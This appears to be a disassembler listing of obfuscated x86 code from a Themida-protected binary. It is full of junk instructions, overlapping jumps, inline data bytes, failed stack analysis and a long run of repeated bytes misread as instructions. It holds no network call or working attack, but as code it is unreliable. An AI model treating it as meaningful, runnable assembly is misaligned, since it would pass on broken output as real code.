add ebx, 5AE9D936h
cld
mov cl, 15h
cmc
jmp loc_5D504F
; ---------------------------------------------------------------------------
shr dword ptr [eax-3CD28F02h], cl
mov word ptr [ebp+7F4471D9h], es
xchg eax, edi
xchg eax, ecx
das
mov ebx, 3C2C1963h
loc_5D504F: ; CODE XREF: sub_5D4FC3+73j
jmp loc_5D505F
; ---------------------------------------------------------------------------
dd 4C0FA015h, 9BE3278Eh
db 0FBh, 94h, 2Eh
; ---------------------------------------------------------------------------
loc_5D505F: ; CODE XREF: sub_5D4FC3:loc_5D504Fj
mov di, 0D17Bh
jmp loc_5D5072
; ---------------------------------------------------------------------------
dd 7112863Ch, 112B5DCFh
db 29h, 59h
; ---------------------------------------------------------------------------
loc_5D5072: ; CODE XREF: sub_5D4FC3+A0j
sbb dl, 73h
mov edi, 1ABF1F59h
jmp loc_5D508F
; ---------------------------------------------------------------------------
db 0C5h
; ---------------------------------------------------------------------------
inc edi
mov ah, 8Eh
dec dword ptr [esi+71026990h]
pop edi
mov [eax-73h], esi
cwde
loc_5D508F: ; CODE XREF: sub_5D4FC3+B7j
jns $+6
call sub_5D50A0
inc ebp
xchg eax, ebx
setalc
jns short loc_5D5026
inc ecx
sub_5D4FC3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D50A0 proc near ; CODE XREF: sub_5D4FC3+D2p
; FUNCTION CHUNK AT 005D5116 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 005D5163 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005D517C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005D51A0 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005D51CF SIZE 00000019 BYTES
push eax
push edi
pop edx
pop eax
pop edx
mov al, dh
mov eax, 7E760AA5h
sub di, 0DCE9h
jmp loc_5D50C3
; ---------------------------------------------------------------------------
dw 59B9h
dd 0A42D8383h, 0D25A0556h
db 0B3h, 61h, 80h
; ---------------------------------------------------------------------------
loc_5D50C3: ; CODE XREF: sub_5D50A0+11j
mov esi, 1319F94Ah
jmp loc_5D50D6
; ---------------------------------------------------------------------------
sub bl, [esi]
sub [eax+13h], edi
inc ebp
popf
jno short loc_5D5116
loc_5D50D6: ; CODE XREF: sub_5D50A0+28j
mov cx, bx
mov ax, 0E6DBh
mov edi, 342695D7h
jmp loc_5D50F3
; ---------------------------------------------------------------------------
db 0E0h
dd 0AC450039h, 0AB6F729Bh
; ---------------------------------------------------------------------------
dec ecx
xchg eax, edi
stosd
loc_5D50F3: ; CODE XREF: sub_5D50A0+42j
mov bx, 48BCh
mov esi, edi
call near ptr loc_5D510A+3
xlat
fild dword ptr [edi+7Ah]
loopne near ptr loc_5D5125+1
cmc
or al, cl
setalc
outsd
dec edi
loc_5D510A: ; CODE XREF: sub_5D50A0+59p
cmp eax, 0BF66053Eh
sub_5D50A0 endp ; sp-analysis failed
mov ebp, 0E78A5EDDh
mov edx, ecx
; START OF FUNCTION CHUNK FOR sub_5D50A0
loc_5D5116: ; CODE XREF: sub_5D50A0+34j
push eax
jp loc_5D511F
push eax
pop ecx
loc_5D511F: ; CODE XREF: sub_5D50A0+77j
pop esi
mov edx, 724A785Ch
loc_5D5125: ; CODE XREF: sub_5D50A0+62j
mov bx, 3B3Dh
sub ebx, 14029712h
mov esi, edx
mov cx, dx
mov ecx, ebx
pusha
mov ebx, edx
popa
jg loc_5D5141
cmc
loc_5D5141: ; CODE XREF: sub_5D50A0+9Aj
mov eax, 63100D80h
cld
mov cx, 803h
jmp loc_5D5163
; END OF FUNCTION CHUNK FOR sub_5D50A0
; ---------------------------------------------------------------------------
mov dword ptr ds:4E80B363h, 1738DEF4h
inc ebx
mov [eax+4Eh], esi
db 64h
mov di, 0F7Eh
; START OF FUNCTION CHUNK FOR sub_5D50A0
loc_5D5163: ; CODE XREF: sub_5D50A0+ABj
jl loc_5D517C
jge loc_5D517C
jmp loc_5D517C
; END OF FUNCTION CHUNK FOR sub_5D50A0
; ---------------------------------------------------------------------------
db 87h, 0DBh
; ---------------------------------------------------------------------------
xlat
retn 0CED4h
; ---------------------------------------------------------------------------
mov bh, 4Ah
; START OF FUNCTION CHUNK FOR sub_5D50A0
loc_5D517C: ; CODE XREF: sub_5D50A0:loc_5D5163j
; sub_5D50A0+C9j ...
sub bx, 465Ah
movsx eax, dx
jnp loc_5D51A0
jmp loc_5D51A0
; END OF FUNCTION CHUNK FOR sub_5D50A0
; ---------------------------------------------------------------------------
db 0D3h
dd 0D6AF5FA7h, 0E06071BDh, 0FC3F688h, 0E2A608A9h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5D50A0
loc_5D51A0: ; CODE XREF: sub_5D50A0+E4j
; sub_5D50A0+EAj
xor ebx, 5BD3E0D9h
cmc
movsx eax, si
mov si, ax
add cx, 8A47h
jnz loc_5D51BA
mov ebx, eax
loc_5D51BA: ; CODE XREF: sub_5D50A0+112j
mov esi, ecx
jmp loc_5D51CF
; END OF FUNCTION CHUNK FOR sub_5D50A0
; ---------------------------------------------------------------------------
pop edi
inc ecx
or ah, 0FBh
mov bh, 0F1h
movsb
sbb al, [esi+ebp*4-65h]
les edi, [ebx]
; START OF FUNCTION CHUNK FOR sub_5D50A0
loc_5D51CF: ; CODE XREF: sub_5D50A0+11Cj
mov dx, 449Ch
jg loc_5D51EB
call sub_5D51E8
push 0FFFFFF8Ch
add dh, [esi-69h]
dec esi
loope loc_5D524D
in eax, 0E7h
; END OF FUNCTION CHUNK FOR sub_5D50A0
; =============== S U B R O U T I N E =======================================
sub_5D51E8 proc near ; CODE XREF: sub_5D50A0+139p
; FUNCTION CHUNK AT 005D523F SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005D5282 SIZE 0000001C BYTES
mov dl, 0A8h
pop edi
loc_5D51EB: ; CODE XREF: sub_5D50A0+133j
push esi
call sub_5D51FA
mov esi, 32512B1Dh
jbe short loc_5D523F
out dx, eax
daa
sub_5D51E8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D51FA proc near ; CODE XREF: sub_5D51E8+4p
movzx edi, cx
pop ecx
pop esi
mov al, 0B6h
mov dl, bl
mov dx, bx
call sub_5D5210
mov ebp, 0C9000D9Bh
sub_5D51FA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D5210 proc near ; CODE XREF: sub_5D51FA+Cp
movsx eax, ax
pop edx
mov cl, bl
jge loc_5D521F
mov di, bx
loc_5D521F: ; CODE XREF: sub_5D5210+6j
mov ecx, 6709E5DCh
mov cx, dx
jnp loc_5D5235
jle loc_5D5235
mov al, bl
loc_5D5235: ; CODE XREF: sub_5D5210+17j
; sub_5D5210+1Dj
jmp near ptr loc_5D5247+4
sub_5D5210 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 8752h
; ---------------------------------------------------------------------------
sal bl, 1
push esp
; START OF FUNCTION CHUNK FOR sub_5D51E8
loc_5D523F: ; CODE XREF: sub_5D51E8+Ej
out dx, eax
mov ah, dl
cmp eax, 6B811153h
loc_5D5247: ; CODE XREF: sub_5D5210:loc_5D5235j
bound eax, ds:0DE80E1EEh
loc_5D524D: ; CODE XREF: sub_5D50A0+144j
mov ch, 66h
mov ecx, 60608837h
mov bx, cx
jg $+6
popa
mov edi, 359965DDh
popa
mov ax, dx
movsx esi, ax
push esi
jmp loc_5D5282
; END OF FUNCTION CHUNK FOR sub_5D51E8
; ---------------------------------------------------------------------------
jmp short loc_5D527E
; ---------------------------------------------------------------------------
dw 4483h
dd 2658D2B1h, 8DD4974Ch
db 44h, 8Bh
; ---------------------------------------------------------------------------
loc_5D527E: ; CODE XREF: Themida_:005D5270j
sal dword ptr [edx+esi*8+51h], cl
; START OF FUNCTION CHUNK FOR sub_5D51E8
loc_5D5282: ; CODE XREF: sub_5D51E8+83j
pop edi
mov ax, 2ED9h
mov esi, 3EEB90F3h
call sub_5D529E
; ---------------------------------------------------------------------------
lea esp, [eax-7083DCA9h]
sbb [eax+0FDC76D9h], esi
dec eax
; END OF FUNCTION CHUNK FOR sub_5D51E8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_5D529E proc near ; CODE XREF: sub_5D51E8+A4p
call sub_5D52AA
sub_5D529E endp
; ---------------------------------------------------------------------------
fistp word ptr [esi-7041D9E6h]
stosd
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_5D52AA proc near ; CODE XREF: sub_5D529Ep
mov di, 478Bh
pop edx
pop edi
mov ch, dh
call near ptr sub_5D52C2
sub_5D52AA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xor edx, [edi]
aam 0Dh
xchg eax, ebx
ficomp word ptr ds:0B652650Bh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_5D52C2 proc far ; CODE XREF: sub_5D52AA+8p
mov ah, bh
pop edx
jmp loc_5D52D7
; ---------------------------------------------------------------------------
dw 0F229h
dd 440122F4h, 2F37200Fh
db 81h, 19h, 22h
; ---------------------------------------------------------------------------
loc_5D52D7: ; CODE XREF: sub_5D52C2+3j
mov dx, 4E20h
jmp loc_5D52E5
; ---------------------------------------------------------------------------
dd 0F3D9D7D8h
db 8Fh
; ---------------------------------------------------------------------------
loc_5D52E5: ; CODE XREF: sub_5D52C2+19j
sbb eax, 2D4B473h
movzx esi, cx
jnz loc_5D52F7
movsx edx, bx
loc_5D52F7: ; CODE XREF: sub_5D52C2+2Cj
adc ah, 35h
or esi, 415BB8B1h
mov al, 50h
mov bh, 0E2h
jmp loc_5D5317
; ---------------------------------------------------------------------------
db 6Eh, 0DFh, 3Ah
dd 441851F1h, 0FE5795B4h
db 25h, 4Eh, 0C7h
; ---------------------------------------------------------------------------
loc_5D5317: ; CODE XREF: sub_5D52C2+42j
sub al, 0Ah
mov ch, 38h
loc_5D531C: ; CODE XREF: sub_5D52C2+8Ej
jmp loc_5D532C
; ---------------------------------------------------------------------------
db 5, 0DAh, 1
db 0CCh
db 8Ah, 41h, 85h
dd 1969097Ch
; ---------------------------------------------------------------------------
loc_5D532C: ; CODE XREF: sub_5D52C2:loc_5D531Cj
jmp loc_5D5340
; ---------------------------------------------------------------------------
db 3Fh, 54h, 5Bh
dd 3A33CB7Dh, 0F87FBFEDh, 95CB1F4Bh
; ---------------------------------------------------------------------------
loc_5D5340: ; CODE XREF: sub_5D52C2:loc_5D532Cj
; sub_5D52C2+BFj
mov ebx, esi
mov ah, 0A9h
movzx edi, di
push edi
jmp loc_5D5357
; ---------------------------------------------------------------------------
db 0EDh, 0E0h, 1Fh
; ---------------------------------------------------------------------------
jbe short loc_5D531C
retf 0FA96h
; ---------------------------------------------------------------------------
db 0B8h, 25h
; ---------------------------------------------------------------------------
loc_5D5357: ; CODE XREF: sub_5D52C2+86j
pop edx
push eax
pusha
mov bh, 46h
mov cx, si
popa
pop edi
mov ch, 0A9h
jmp loc_5D5373
; ---------------------------------------------------------------------------
dd 3287053h, 1B327493h
; ---------------------------------------------------------------------------
sbb dh, [ecx+47h]
loc_5D5373: ; CODE XREF: sub_5D52C2+A1j
cmc
jmp loc_5D538D
; ---------------------------------------------------------------------------
pop esp
add al, 0E1h
cmp eax, 6C86EE90h
jmp short loc_5D5340
; ---------------------------------------------------------------------------
db 0F4h
; ---------------------------------------------------------------------------
mov ebx, 19AC6320h
cmpsd
cmc
std
loc_5D538D: ; CODE XREF: sub_5D52C2+B2j
or ax, 0D9DAh
pusha
push edi
movzx edi, si
pop edi
call loc_5D53A9
lahf
hlt
sub_5D52C2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0F9h
dd 7C14DBB6h, 813EA10Eh
db 9Ah
; ---------------------------------------------------------------------------
loc_5D53A9: ; CODE XREF: sub_5D52C2+D6p
mov di, 0AF75h
pop ecx
popa
mov esi, ecx
mov edi, esi
mov edx, ebx
mov si, 8271h
mov al, 0BEh
mov ebx, 301AC957h
mov di, 1589h
mov ebx, 28F8F6Dh
mov esi, edx
jz loc_5D53D3
mov eax, edi
loc_5D53D3: ; CODE XREF: Themida_:005D53CBj
pusha
call sub_5D53E9
les sp, [esp+ebx*8]
xchg eax, ebp
; ---------------------------------------------------------------------------
dw 188Fh
dd 0B15EFD22h, 0EDD5EB24h
db 0E0h
; =============== S U B R O U T I N E =======================================
sub_5D53E9 proc near ; CODE XREF: Themida_:005D53D4p
and esi, 11529B71h
pop ebx
mov edi, 3E910C96h
popa
pusha
mov ch, dh
mov edx, ecx
popa
push esi
push edi
mov dh, 0D6h
pop edi
pop edx
mov ch, 8Ch
sbb ah, 0E8h
jmp loc_5D5412
; ---------------------------------------------------------------------------
dd 2C2638D7h
db 0A3h, 71h
; ---------------------------------------------------------------------------
loc_5D5412: ; CODE XREF: sub_5D53E9+1Ej
call sub_5D5423
push es
mov ch, 0AEh
cli
pusha
xchg eax, ebx
inc ebx
and eax, 9EB3C1B1h
sub_5D53E9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D5423 proc near ; CODE XREF: sub_5D53E9:loc_5D5412p
pop ecx
sub si, 230Fh
and ecx, 3BC8ADFCh
and dh, 6Ah
jmp loc_5D5444
; ---------------------------------------------------------------------------
db 0E4h
dd 0A86946BAh, 0B29A3A4h, 0C93DD0F1h
; ---------------------------------------------------------------------------
loc_5D5444: ; CODE XREF: sub_5D5423+Fj
jnz loc_5D544D
movsx ecx, di
loc_5D544D: ; CODE XREF: sub_5D5423:loc_5D5444j
cmc
mov ecx, ebx
jmp loc_5D5467
; ---------------------------------------------------------------------------
db 0BDh, 0E6h, 0D4h
dd 0AC4BC82h, 0EF3B6A1Ah, 4005F44Bh
db 0F9h, 0EAh, 0D7h
; ---------------------------------------------------------------------------
loc_5D5467: ; CODE XREF: sub_5D5423+2Dj
jmp loc_5D5473
; ---------------------------------------------------------------------------
dd 29B6C709h
db 80h, 24h, 0C8h
; ---------------------------------------------------------------------------
loc_5D5473: ; CODE XREF: sub_5D5423:loc_5D5467j
jg loc_5D547E
push eax
and al, 0CAh
pop ebx
loc_5D547E: ; CODE XREF: sub_5D5423:loc_5D5473j
jmp loc_5D5491
; ---------------------------------------------------------------------------
db 0F6h
dd 5213AF42h, 70C56A64h, 0C97A964Ah
; ---------------------------------------------------------------------------
icebp
loc_5D5491: ; CODE XREF: sub_5D5423:loc_5D547Ej
sub cl, 0EBh
pusha
jmp loc_5D54A2
; ---------------------------------------------------------------------------
dw 9E7Bh
dd 3236C5Eh
db 0DCh, 4Ah
; ---------------------------------------------------------------------------
loc_5D54A2: ; CODE XREF: sub_5D5423+72j
mov ax, 0D6ABh
popa
mov esi, 57D7C019h
movsx ecx, bx
jmp loc_5D54C3
; ---------------------------------------------------------------------------
dd 727EF89Ch, 5FE38BB4h, 0C1BC55CBh
db 90h
db 42h, 39h
; ---------------------------------------------------------------------------
loc_5D54C3: ; CODE XREF: sub_5D5423+8Cj
movzx esi, ax
jo $+6
jmp loc_5D54DB
; ---------------------------------------------------------------------------
db 46h, 22h, 6Bh
dd 0DFD34495h
db 9, 0BAh, 0A9h
; ---------------------------------------------------------------------------
loc_5D54DB: ; CODE XREF: sub_5D5423+A9j
call near ptr loc_5D54E5+1
loop near ptr loc_5D5542+2
push ss
fsubr qword ptr [edi]
loc_5D54E5: ; CODE XREF: sub_5D5423:loc_5D54DBp
sbb al, 0F8h
sub_5D5423 endp ; sp-analysis failed
pop ecx
jnp loc_5D54F2
mov dx, 0D9D5h
loc_5D54F2: ; CODE XREF: Themida_:005D54E8j
call sub_5D550B
push eax
cmp [ecx], cl
sbb eax, 4F318A1Ch
outsd
scasb
mov word ptr [esi-680C1E1Eh], es
movsd
; ---------------------------------------------------------------------------
db 8Fh, 0A8h, 5Ah
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_5D550B proc near ; CODE XREF: Themida_:loc_5D54F2p
jmp sub_5D551E
sub_5D550B endp
; ---------------------------------------------------------------------------
dd 528905CFh, 0FB828D52h, 0FEFBF5Dh
db 25h, 85h
; =============== S U B R O U T I N E =======================================
sub_5D551E proc near ; CODE XREF: sub_5D550Bj
; sub_5D551E+1Cj
; FUNCTION CHUNK AT 005D55BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005D55C6 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 005D5617 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005D562D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005D5638 SIZE 00000012 BYTES
pop ecx
push ebx
pusha
pusha
popa
movzx esi, dx
popa
pop esi
call sub_5D553F
adc [ebx+7790BCCEh], ecx
test cl, ah
mov edi, 0CFD53D44h
jno short sub_5D551E
push edx
jge short loc_5D55BB
sub_5D551E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D553F proc near ; CODE XREF: sub_5D551E+Ap
mov dh, 0F1h
pop ebx
loc_5D5542: ; CODE XREF: sub_5D5423+BDj
mov bx, cx
mov cl, 0BAh
mov bx, 9AE0h
call near ptr loc_5D555A+3
xchg eax, edx
push edx
int 9Bh ; used by BASIC while in interpreter
cmp eax, 90929612h
dec ebp
loc_5D555A: ; CODE XREF: sub_5D553F+Cp
xor [ebx-79F0A1FEh], bh
sub_5D553F endp ; sp-analysis failed
or al, [eax]
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
pusha
jge $+6
mov dh, ah
popa
mov dh, 9Ch
jmp loc_5D5586
; ---------------------------------------------------------------------------
db 0B8h, 77h, 1Ch
dd 84C67EE4h, 0D151686Dh, 1BC1C92Ah
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 22h
; ---------------------------------------------------------------------------
loc_5D5586: ; CODE XREF: Themida_:005D5570j
or edx, 4F11E60Fh
sbb ecx, 638D9BCAh
jmp loc_5D55A1
; ---------------------------------------------------------------------------
db 6Bh
dd 0B1611256h, 6C4275C5h
; ---------------------------------------------------------------------------
daa
loc_5D55A1: ; CODE XREF: Themida_:005D5592j
push esi
push eax
jmp loc_5D55B0
; ---------------------------------------------------------------------------
xor ah, al
push 0FFFFFFE9h
db 36h
test [ebp-3Eh], bl
loc_5D55B0: ; CODE XREF: Themida_:005D55A3j
pop edi
pop ebx
mov cx, dx
jnp loc_5D55C6
; START OF FUNCTION CHUNK FOR sub_5D551E
loc_5D55BB: ; CODE XREF: sub_5D551E+1Fj
jmp loc_5D55C6
; END OF FUNCTION CHUNK FOR sub_5D551E
; ---------------------------------------------------------------------------
dd 0AFA577B7h
db 0BCh, 63h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5D551E
loc_5D55C6: ; CODE XREF: Themida_:005D55B5j
; sub_5D551E:loc_5D55BBj
mov edi, ebx
mov al, 6Fh
mov ecx, 62B08A2Bh
add di, 0C340h
sub eax, 397F1AA5h
push edi
call near ptr loc_5D55E7+5
push ebx
adc esi, [esi-3FFE79B3h]
loc_5D55E7: ; CODE XREF: sub_5D551E+BDp
test dword ptr ds:0B9973921h, 4484F99Ah
pop esi
pop edi
mov di, bx
sub ah, 0E1h
mov bl, 67h
mov ebx, 2661D4E4h
pusha
js loc_5D5609
mov bl, dl
loc_5D5609: ; CODE XREF: sub_5D551E+E3j
; sub_5D564C+2Dj
jmp loc_5D5617
; END OF FUNCTION CHUNK FOR sub_5D551E
; ---------------------------------------------------------------------------
dw 0EA5Eh
dd 62DB9416h
db 0D5h, 1Eh, 0E2h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5D551E
loc_5D5617: ; CODE XREF: sub_5D551E:loc_5D5609j
popa
stc
add ch, 0ADh
xor ebx, 779F11FBh
jmp loc_5D562D
; END OF FUNCTION CHUNK FOR sub_5D551E
; ---------------------------------------------------------------------------
db 0BEh
dd 0F2494C20h
db 0D4h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5D551E
loc_5D562D: ; CODE XREF: sub_5D551E+104j
jmp loc_5D5638
; END OF FUNCTION CHUNK FOR sub_5D551E
; ---------------------------------------------------------------------------
dw 39A5h
dd 0C76CE2D3h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5D551E
loc_5D5638: ; CODE XREF: sub_5D551E:loc_5D562Dj
call sub_5D564C
xor dl, [ecx+7F2F957Ch]
call near ptr 66F5778Ah
jmp short near ptr loc_5D5648+1 ; CODE XREF: sub_5D551E:loc_5D5648j
; END OF FUNCTION CHUNK FOR sub_5D551E
; ---------------------------------------------------------------------------
dw 7905h
; =============== S U B R O U T I N E =======================================
sub_5D564C proc near ; CODE XREF: sub_5D551E:loc_5D5638p
mov bl, 0E1h
pop eax
movzx ebx, di
mov si, di
mov dh, 71h
sub si, 6548h
mov ecx, ebx
adc bx, 0C9D8h
mov eax, 213715ACh
add ecx, 0E633982h
jnz $+6
call near ptr loc_5D5685+6
loopne near ptr loc_5D5609+1
mov ebp, 8154FDB0h
shr byte ptr [ebp+3Ch], 1
dec esi
clc
loc_5D5685: ; CODE XREF: sub_5D564C+28p
xor [edx+edx-7F87AA81h], bh
sub_5D564C endp ; sp-analysis failed
fdivr dword ptr [edi]
pop edx
jmp loc_5D569C
; ---------------------------------------------------------------------------
dd 1FF6EC19h, 0A60A48CCh
; ---------------------------------------------------------------------------
loc_5D569C: ; CODE XREF: Themida_:005D568Fj
mov cx, ax
mov eax, 1F8E7EC3h
loc_5D56A4: ; CODE XREF: Themida_:005D56C7j
movsx eax, cx
mov cx, dx
mov di, 2BABh
jmp loc_5D56BC
; ---------------------------------------------------------------------------
db 0BEh
dd 0B636FBEDh, 0EC647C4Ah
; ---------------------------------------------------------------------------
loc_5D56BC: ; CODE XREF: Themida_:005D56AEj
and bx, 0BD36h
jmp loc_5D56CD
; ---------------------------------------------------------------------------
loc_5D56C6: ; CODE XREF: Themida_:005D56FBj
inc esi
jno short loc_5D56A4
; ---------------------------------------------------------------------------
db 69h, 2Bh, 2Dh
db 0DCh
; ---------------------------------------------------------------------------
loc_5D56CD: ; CODE XREF: Themida_:005D56C1j
jno loc_5D56D9
and edx, 4FC56ECAh
loc_5D56D9: ; CODE XREF: Themida_:loc_5D56CDj
add ch, 0EEh
mov dx, di
mov edx, ebx
sub di, 8AB9h
cmc
cld
mov ecx, edi
cmc
add cx, 4816h
movzx esi, di
call near ptr loc_5D5707+1
xchg esp, [ebx]
insb
jbe short loc_5D56C6
inc ebp
sub ebx, [ecx]
movsb
sub byte ptr [edi+46h], 3Ch
stc
loc_5D5707: ; CODE XREF: Themida_:005D56F3p
db 2Eh
pop edi
jmp loc_5D571B
; ---------------------------------------------------------------------------
dw 401Ah
dd 4530B784h, 6D2A5D9Ch
db 0FEh, 63h, 32h
; ---------------------------------------------------------------------------
loc_5D571B: ; CODE XREF: Themida_:005D5709j
cmc
call sub_5D5732
fldcw word ptr [edx-8]
or al, 9Eh
sub eax, edi
inc ebp
adc al, 36h
cmp [esi-54F1D916h], ecx
; ---------------------------------------------------------------------------
db 0FEh
; =============== S U B R O U T I N E =======================================
sub_5D5732 proc near ; CODE XREF: Themida_:005D571Cp
pusha
stc
add edx, 3B5F96E4h
popa
pop ecx
sbb ebx, 5C411A2Bh
cld
jb $+6
stc
mov ebx, edx
sbb edi, 43504F4Eh
jmp loc_5D575C
; ---------------------------------------------------------------------------
mov ds:9131C54h, al
loc_5D575C: ; CODE XREF: sub_5D5732+20j
or edx, 4A576B4Eh
jmp loc_5D5775
; ---------------------------------------------------------------------------
db 0Bh
dd 6950E671h, 4E9626C2h, 29D05D32h
db 2Ah
; ---------------------------------------------------------------------------
loc_5D5775: ; CODE XREF: sub_5D5732+30j
movsx ecx, di
jnb $+6
mov eax, edi
mov cl, dl
mov ebx, esi
jmp loc_5D579D
; ---------------------------------------------------------------------------
db 0FBh, 18h, 0BEh
dd 3AAA6B09h, 39A0CF9Eh, 1085AD40h, 4FDA1357h
db 7Eh
; ---------------------------------------------------------------------------
loc_5D579D: ; CODE XREF: sub_5D5732+52j
mov edx, ecx
pusha
xor ax, 92B0h
and bl, 3
popa
jmp loc_5D57BF
; ---------------------------------------------------------------------------
dw 296Ch
dd 6487E6AEh, 0C927A49h, 0CECC0538h
; ---------------------------------------------------------------------------
aas
sbb dl, dh
loc_5D57BF: ; CODE XREF: sub_5D5732+77j
mov ah, bh
movsx edi, si
push edi
adc ax, 0DFD6h
pop ecx
mov ax, di
jmp loc_5D57D9
; ---------------------------------------------------------------------------
db 5Fh
dd 2D5FF539h
db 8
; ---------------------------------------------------------------------------
loc_5D57D9: ; CODE XREF: sub_5D5732+9Cj
cld
jmp loc_5D57ED
; ---------------------------------------------------------------------------
db 55h
dd 60565972h, 7656E5Fh, 7EF6CD0Fh
db 0E0h
; ---------------------------------------------------------------------------
loc_5D57ED: ; CODE XREF: sub_5D5732+A8j
mov bh, 0BBh
stc
jmp loc_5D57FD
; ---------------------------------------------------------------------------
db 0ABh, 6Dh, 0B5h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 54h, 0BFh, 9Ch
db 0DFh
; ---------------------------------------------------------------------------
loc_5D57FD: ; CODE XREF: sub_5D5732+BEj
mov eax, ebx
movsx ebx, ax
jmp loc_5D5810
; ---------------------------------------------------------------------------
push fs
jns short loc_5D5864
retn
; ---------------------------------------------------------------------------
dd 0B1D3F618h
; ---------------------------------------------------------------------------
loc_5D5810: ; CODE XREF: sub_5D5732+D0j
add bl, 0E8h
jz loc_5D5820
push edx
mov ebx, 1B2EEE4Eh
pop edx
loc_5D5820: ; CODE XREF: sub_5D5732+E1j
movsx edi, cx
mov bx, 9808h
jz loc_5D5830
mov ax, dx
loc_5D5830: ; CODE XREF: sub_5D5732+F5j
mov cx, 0A2F1h
call sub_5D584B
mov byte ptr [ecx], 30h
pop es
adc [ecx], bh
sal byte ptr [ebp-546962B8h], 1
db 66h
xor al, 0CCh
iret
sub_5D5732 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov fs, word ptr [eax]
; =============== S U B R O U T I N E =======================================
sub_5D584B proc near ; CODE XREF: sub_5D5732+102p
mov al, 70h
pop edi
push ecx
pop ecx
jmp loc_5D585D
; ---------------------------------------------------------------------------
clc
pop ebp
add ebx, [esi]
add bl, 0B1h
loc_5D585D: ; CODE XREF: sub_5D584B+5j
push 0FFFFFFA7h
inc ecx
and ch, [edx-59h]
inc ecx
loc_5D5864: ; CODE XREF: sub_5D5732+D7j
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
